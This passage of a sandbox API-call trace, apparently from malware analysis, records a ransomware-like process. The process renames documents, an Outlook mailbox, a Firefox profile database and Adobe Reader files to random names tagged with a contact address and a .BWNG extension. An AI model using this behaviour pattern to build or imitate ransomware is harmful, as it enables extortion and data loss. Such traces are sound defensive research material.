halpmcxz\\documents\\[billwong73@yahoo.com].dp51fvjt-h9gitbtu.bwng"), dwFlags=0x1) returned 1 [0037.970] GetTickCount () returned 0x11548f3 [0037.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992220094) returned 1 [0037.970] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\iDrC ooKiQrOce5.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idrc ookiqroce5.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].BkSe9G8u-Xi0TT4Sd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].bkse9g8u-xi0tt4sd.bwng"), dwFlags=0x1) returned 1 [0037.971] GetTickCount () returned 0x1154902 [0037.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992342424) returned 1 [0037.971] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\[billwong73@yahoo.com].F2ItDNLd-tUPpAPga.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\[billwong73@yahoo.com].f2itdnld-tuppapga.bwng"), dwFlags=0x1) returned 1 [0037.972] GetTickCount () returned 0x1154902 [0037.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992410515) returned 1 [0037.972] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\[billwong73@yahoo.com].DG2Vjk1e-nVU0AUEu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\[billwong73@yahoo.com].dg2vjk1e-nvu0aueu.bwng"), dwFlags=0x1) returned 1 [0037.973] GetTickCount () returned 0x1154902 [0037.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992480389) returned 1 [0037.973] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\eula.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].2NI1yMgl-0anPJx6x.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].2ni1ymgl-0anpjx6x.bwng"), dwFlags=0x1) returned 1 [0037.973] GetTickCount () returned 0x1154902 [0037.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992571857) returned 1 [0037.974] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].DmbX8wne-4xmcsGn9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].dmbx8wne-4xmcsgn9.bwng"), dwFlags=0x1) returned 1 [0037.974] GetTickCount () returned 0x1154902 [0037.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992638488) returned 1 [0037.974] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\[billwong73@yahoo.com].uU9QibIv-eqrkzsjt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\[billwong73@yahoo.com].uu9qibiv-eqrkzsjt.bwng"), dwFlags=0x1) returned 1 [0037.975] GetTickCount () returned 0x1154902 [0037.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992712670) returned 1 [0037.975] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\[billwong73@yahoo.com].terPvovu-yyiYR4vq.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\[billwong73@yahoo.com].terpvovu-yyiyr4vq.bwng"), dwFlags=0x1) returned 1 [0037.976] GetTickCount () returned 0x1154902 [0037.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992815066) returned 1 [0037.976] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8QVH.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8qvh.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].3fnRZeYN-Ezdz2Sjm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].3fnrzeyn-ezdz2sjm.bwng"), dwFlags=0x1) returned 1 [0037.977] GetTickCount () returned 0x1154902 [0037.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17992894795) returned 1 [0037.977] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AfX5b2r--ls.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\afx5b2r--ls.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].eXvXVy27-QP70WkB6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].exvxvy27-qp70wkb6.bwng"), dwFlags=0x1) returned 1 [0037.978] Sleep (dwMilliseconds=0x5dc) [0039.505] GetTickCount () returned 0x1154efb [0039.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18145740011) returned 1 [0039.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0039.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0039.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0039.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0039.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0039.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0039.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0039.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0039.505] GetTickCount () returned 0x1154efb [0039.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18145770631) returned 1 [0039.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0039.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0039.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0039.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0039.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0039.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0039.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0039.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0039.506] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\[billwong73@yahoo.com].EJT71GZd-P0BZI4vG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\[billwong73@yahoo.com].ejt71gzd-p0bzi4vg.bwng"), dwFlags=0x1) returned 1 [0039.765] GetTickCount () returned 0x1155004 [0039.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18171734191) returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0039.765] GetTickCount () returned 0x1155004 [0039.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18171765810) returned 1 [0039.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0039.766] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].afCeWuaW-ENSnxWkO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].afcewuaw-ensnxwko.bwng"), dwFlags=0x1) returned 1 [0039.766] GetTickCount () returned 0x1155004 [0039.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18171858549) returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0039.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0039.767] GetTickCount () returned 0x1155004 [0039.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18171889155) returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0039.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0039.767] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\[billwong73@yahoo.com].rarrOZmN-j0WJ8PIF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\[billwong73@yahoo.com].rarrozmn-j0wj8pif.bwng"), dwFlags=0x1) returned 1 [0039.768] GetTickCount () returned 0x1155004 [0039.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18171981696) returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0039.768] GetTickCount () returned 0x1155004 [0039.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18172012109) returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0039.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0039.768] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\[billwong73@yahoo.com].7xZzhHIp-0lve78eu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\[billwong73@yahoo.com].7xzzhhip-0lve78eu.bwng"), dwFlags=0x1) returned 1 [0039.769] GetTickCount () returned 0x1155004 [0039.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18172103741) returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0039.769] GetTickCount () returned 0x1155004 [0039.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18172135677) returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 